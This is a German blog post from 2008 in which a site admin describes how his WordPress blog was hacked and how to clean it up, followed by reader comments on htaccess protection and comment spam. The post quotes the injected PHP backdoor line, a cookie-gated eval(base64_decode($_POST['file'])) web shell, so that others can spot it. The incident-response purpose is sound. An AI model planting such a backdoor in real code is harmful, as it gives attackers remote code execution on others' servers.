WordPress-Hack, alle Versionen bis 2.5 betroffen
blocati hat’s erwischt, ein Angriff aus den USA hat heute früh blocati “überarbeitet”. Aufgefallen war mir dies durch eine Fehlermeldung im Header von blocati. Schon recht schnell fielen mir einige merkwürdige Dateien und ein paar Änderungen an zahlreichen WP-Dateien auf. Erst letzten Freitag (11. April) hatte ich WordPress und alle Bilder komplett überschrieben, weil bei den Bildern noch vereinzelte Fehler nach dem Einspielen des (unvollständigen) Backups nach dem Servercrash von letzter Woche aufgefallen waren. Dabei entdeckte ich beim heutigen Hack einige Änderungen, die auch am Freitag schon drin waren, die ich mir aber nicht genau angesehen und einfach nur überschrieben hatte. Sehr wahrscheinlich hatte der Crash andere Ursachen, mit Sicherheit sagen kann ich das allerdings nicht. Von dem im folgenden beschriebenen Angriff sind zumindest alle WordPress-Versionen ab Version 2.0 und bis hin zur aktuellen 2.5 betroffen, ob noch ältere auch, kann ich nicht beurteilen. Jedenfalls wurden wohl unzählige WordPress-Installationen im Internet von diesem Exploit seit dem 10. April mehr oder weniger übernommen.
Der Angriff erfolgt über die Datei /wp-admin/theme-editor.php. Da die im Normalfall kein Mensch benötigt, beseitigt ein Löschen der Datei die Sicherheitslücke äußerst effizient. Außerdem sollte man das Classic-Theme löschen, weil auch hierüber irgendwelche Zugriffe durchgeführt werden. In der Regel liegt dieses unter /wp-content/themes/classic oder /wp-content/themes/default, sicherheitshalber sollte man aber alle nicht benötigten Themes löschen.
Nachdem man so den Weg ins WordPress verbaut hat, müssen alle geänderten WordPress-Dateien überschrieben werden. Entweder löscht man schlichtweg alles und kopiert neu hoch oder man geht einzeln über die Verzeichnisse und guckt, ob da Dateien mit frischem Datum bzw. den Dateiendungen _new.php, _old.php, .php.pngg, .php.jpgg bzw. .php.giff (davor steht ein vorhandener Dateiname) drin sind. Diese Dateien löschen bzw. überschreiben. Die original-WP-Dateien, die geändert wurden, sind nur wenige Byte größer, dort wurde in der 1. Zeile eine Cookie-Abfrage mit entsprechendem Cookie-Hach eingebaut, das sieht etwa so aus:
<?php if(md5($_COOKIE[’_wp_debugger’])==”-hashcode-”){
eval(base64_decode($_POST[’file’])); exit; } ?>. Die neu erstellten Dateien mit den merkwürdigen Dateinamen sind ca. 9k groß (bei mir 9086 bzw. 9210 Byte) und enthalten neben einer Cookie-Abfrage auf den Cookie-Namen qwerty diverse Abfragen rund um das Serversystem. Ruft man das Script direkt auf, erhält man im Browser einen 404er Fehler. Ãœber andere (externe) Scripte aufgerufen kann ein Angreifer jedoch die abgefragten Inhalte auswerten.
Falls irgendwo eine Datei namens wp-info.txt existiert, diese auch löschen und die Logs kontrollieren, ob die schon irgendwer abgefragt hat - da stehen nämlich sämtliche Userdaten, Passwörter und eMail-Adressen drin, die in der WP-DB enthalten sind. Auch wenn die noch nicht abgefragt wurde, sollte man das DB-Paßwort ändern. Jetzt hat man erstmal wieder ein sauberes Dateisystem, kommen wir also zur Datenbank.
In der Datenbank wird ein User angelegt, der muss weg. Zu finden unter wp_users und dort löscht man alle nicht benötigten User. In der Tabelle wp_usermeta löscht man alle Einträge zu nicht benötigten User-IDs. Dort fiel mir vor allem ein Eintrag auf, der mit vom Angreifer erstellter User-ID unter first_name ein kleines JavaScript enthielt. Außerdem fand ich in der Tabelle wp_options den Key wordpress_options, in dem ein merkwürdiger kryptischer Code enthalten war. Keine Ahnung, was das sollte und wozu das gut ist - ich habe es einfach gelöscht. Sicherheitshalber sollte man dann noch folgende Abfrage auf der Datenbank ausführen: SELECT * FROM `wp_posts` WHERE `post_author`>1 (statt der 1 bei Mehr-User-Blogs entsprechend höhere Zahl), um zu gucken, ob der neue User evtl. irgendwo unerwünschte Artikel gepostet hat. Das war bei mir zwar nicht der Fall, wurde aber bei früheren Angriffen auf anderen Blogs mehrfach beobachtet. Zu guter Letzt nicht vergessen, dass DB-Paßwort zu ändern und dieses über die Datei wp-config.php auch WordPress wieder zugänglich zu machen.
Veröffentlicht von admin am Wednesday, den 16. April 2008 um 16:08 Uhr in IT (Technik und Internet).
Am 16. April 2008 um 16:29 Uhr
OMG !!! Horror! hab deine ratschläge befolgt.
hoffentlich ist bei dir kein noch grösserer schaden entstanden!
man trackback: http://www.prinzzess.biz/2008/04/16/wordpress-hack-bis-version-25/
Am 16. April 2008 um 20:16 Uhr
Ich habe noch mal alles mögliche kontrolliert, scheint soweit ok zu sein. Ich hoffe mal ganz stark, dass von dem WordPress-Hack nicht irgendwelche Posts oder Kommentare mit Spam angereichert wurden. Ich hab zwar stichprobenartig einige Dutzend Einträge kontrolliert, aber alle 793 Posts sind mir irgendwie etwas zu viel ^^
Noch ein Tipp: ein htaccess-Zugriffsschutz auf das Admin-Verzeichnis /wp-admin/ wirkt Wunder, das bastel ich demnächst mal rein, hab heute keine Lust mehr …
Am 16. April 2008 um 20:17 Uhr
wie macht man den zugriffsschutz?
Am 16. April 2008 um 20:26 Uhr
Man kann sich manuell eine htaccess-Datei anlegen und die reinkopieren oder alternativ gibt es für WordPress auch Plugins. Nach kurzem herumgooglen würde ich sagen, dass das beste htaccess-Plugin für WordPress das von AskApache.com ist, weil man damit wirklich ganz bequem und auch für Laien verständlich einen Zugriffsschutz implementieren kann. Viel Erfolg damit!
Am 16. April 2008 um 20:35 Uhr
hm, leider gibt es da nix zum runterladen…hab auch sonst keine möglichkeit gefunden, an das plugin zu kommen!
Am 16. April 2008 um 20:37 Uhr
doch! habs gefunden!
leider hab ich festgestellt, dass ich die /wp-admin/theme-editor.php doch brauchen würde…mist.
Am 16. April 2008 um 20:57 Uhr
Den theme-Editor brauchst Du nicht, Du kannst die css-Dateien doch alle auch per notepad oder mit dem vim bearbeiten.
Nach der Installation und Konfiguration des htaccess-Plugins stellt die theme-editor.php aber ohnehin keine Gefahr mehr dar, weil Angreifer schließlich erst an dem Zugriffsschutz vorbei müssen. Soweit ich das aus den Kommentaren herausgelesen habe, gibt es allerdings noch keine Unterstützung für Multi-User-Blogs wie das hier, deshalb werde ich da noch warten müssen oder das Plugin irgendwann mal selbst anpassen …
Am 17. April 2008 um 00:34 Uhr
Hab ich ja Glück das ich das registrieren neuer User kürzlich deaktiviert habe. Nun wird endlich klar warum sich laufen irgendwelche Adressen angemeldet haben.
Allerdings werd ich in den letzten tagen von Kommentarspan zugeschüttet. Stört zwar dank Moderationseinstellung die anderen Leser nicht aber wunder mich das die trotz Anti-Spam-Plugin das hinbekommen.
Entweder haben die eine neue Möglichkeit gefunden das Spambild abzufragen oder das macht jemand von Hand
Am 17. April 2008 um 03:33 Uhr
Hallo Blui,
das Deaktivieren der User-Registrierung bringt in dem Fall gar nichts, weil die Angriffe an anderer Stelle erfolgt sind und der User nicht per WordPress sondern direkt in die Datenbank eingefügt wird
Die meisten Anti-Spam-Captchas können leider seit einigen Monaten recht erfolgreich von Spammern ausgelesen werden. Was noch erfolgreich ist, sind Captchas mit unterschiedlichen Fonts oder mit integrierten Filtern für IP-Bereiche etc. Auch ein Blocken von Kommentaren mit mehr als 2 Links wirkt Wunder … Hier auf Blocati läuft eine Kombination aus einem solchen Plugin und einem bereits vor WordPress ausgeführtem zusätzlichen Filter, welches großzügig viele ausländische Netze sperrt - das Ergebnis: aktuell ca. 1 Spam-Kommentar pro Monat und der kommt per Hand. Google einfach mal nach “Anti Spam Image” oder ähnlichem, es gibt dutzende von solchen Dingern. Alternativ kann man natürlich auch auf Akismet setzen, allerdings mag ich persönlich das nicht, weil es mir in der Vergangenheit mehrfach Kommentare zerschossen hat und vor allem, weil man sich damit von einem anderen Anbieter abhängig macht.
Am 17. April 2008 um 08:27 Uhr
Gibt es eine Infor darüber, aus welchen IP-Ranges die Attacken kamen?
Am 17. April 2008 um 08:33 Uhr
Hey Admin, guck mal. Ich glaub an diesem Post ist noch was krumm:
http://blocati.de/2008/04/11/lipton-teebeutel-2/#comments
Am 17. April 2008 um 22:59 Uhr
Hallo Stefan, ich bin mir nicht ganz sicher, weil mir mein Kumpel, der die Logs ausgewertet hatte, vergessen hat, mir die Dinger zuzuschicken. Ich hatte gestern mehrere IP-Bereiche gesperrt, wenn ich mich recht entsinne, kam der Angriff von der 194.110.162.23, denn von da liefen bei genauerer Betrachtung älterer Logs schon seit ca. 1,5 Monaten immer wieder mal andere Angriffsversuche. Die IP gehört in den Bereich des US-Providers Extended Host und sieht irgendwie nach einem als Zombie im Netz liegenden Server aus … Was Deine Frage mit dem Post/Kommentar angeht: öhm, da ist alles oki. Falls Du die etwas unübliche Werbung in meinem Kommentar meinen solltest, die hatte ich extra für Cati da reingebastelt und theoretisch sollte dort ihr gewünschter Tee drin sein
Am 18. April 2008 um 00:30 Uhr
Hallo Admin,
Ein Capcha mit wechselnden Fonts hab ich. Sogar ein paar schwerer lesbare, von mir selbst hinzu gefügte. Hat nicht geholfen. Ich hab nun mal die Abfragewörter geändert, vielleicht hilft das ja.
Ansonsten wirds zum Wochenende gegen ein anderes ausgetauscht.
Askimet war bei mir merkwürdigerweise deaktiviert, ich kann mich gar nicht erinnern das gemacht zu haben.
Würde Dieser IP-Filter auf jedem Blog laufen oder ist der schon auf dem Server eingebaut?
Bringt es eigentlich was sich die IP-Adressen der Spam-Kommentare zu notieren oder sind die eh gefälscht?
Ach, noch zu der “Mehr als 2 Links-Sperre”: Mehr als 2 sind es nie, meist sogar nur einer :-S
Am 20. April 2008 um 15:49 Uhr
Hallo Blui, bin nicht eher dazu gekommen - ich schicke Dir aber gleich mal die URL zu’nem anderen Blog von mir, wo mein Captcha-Plugin zum Download drin ist. In dem Plugin kannst Du bei Bedarf weitere IP-Bereiche sperren. Den eigentlichen IP-Filter in Form eines anderen Scripts habe ich bei mir bereits vor WordPress integriert, das Teil rücke ich allerdings nicht raus, weil das ein besonderes Special bei von mir administrierten Websites ist
Es gibt allerdings ähnliche Filter, teilweise auch kostenlos, teilweise verdammt teuer im Netz. Wie überall hat da jeder seine Vor- und Nachteile … Was die IP-Adressen aus den Spam-Kommentaren angeht: die sind korrekt oder höchstens durch Proxies verfälscht. Man kann aber bedenkenlos alle anonymen Proxies sperren, darüber sollten so gut wie keine wichtigen Besucher kommen.
Am 21. April 2008 um 08:35 Uhr
Laut wordpress.org sind nur Versionen vor 2.5 betroffen; der Hack setzt die Versionsnummer auf 2.5 herauf (ohne die Blogsoftware tatsächlich zu aktualisieren), so dass Administratoren, die ihr Blog nicht ganz genau überwachen, womöglich nur glauben, unter 2.5 gehackt worden zu sein.
Dazu noch diejenigen, die unter (sagen wir) 2.1 gehackt wurden und das erst jetzt bemerken.
Am 22. April 2008 um 00:22 Uhr
Hi Jo, zu dem Thema gibt es einige wenige widersprüchliche Angaben im Internet. Es sind von dem Angriff mit Sicherheit auch 2.5er Blogs betroffen, allerdings sind die betreffenden Opfer sich teilweise nicht 100%ig sicher, ob evtl. bereits vorher eine Lücke ins Blog geschlagen wurde. Das scheinbare Update auf die 2.5 per geänderter Versionsnummer ist mir bekannt. Das passierte bei mir übrigens nicht, weil der von mir verwendete WordPress-Fork von einer richtig alten WP-Version abstammt, die halt umfangreich überarbeitet wurde und bei der diese Änderung nicht möglich war. Nur den kürzlich ausgenutzten Bug hatte ich leider noch nicht wegrationalisiert
Auf jeden Fall wird dieser WordPress-Hackangriff scheinbar gelegentlich auch mit anderen ähnlichen Angriffen verwechselt, die nur auf Versionen vor 2.5 erfolgreich waren.
Update: ist mir mal so eingefallen, sehr wahrscheinlich betrifft das nur (unvollständig) upgedatete WordPress 2.5-Versionen. Beim Update kopiert man ja häufig alles notwendige hoch und führt dann noch das Update-Script aus. Was man dabei aber ganz gerne vergißt, das sind die nicht benötigten Themes und daher könnte es durchaus sein, dass die für den hier beschriebenen Angriff anfälligen WP-Installationen allesamt noch ein altes Classic-Theme mit Cross-Site-Scripting-Lücke drin hatten. Ich glaub, dass ich zumindest hier dieses Classic-Theme nie großartig geupdatet hatte, schlichtweg nicht dran gedacht, weil man das nach der Installation meist nie wieder braucht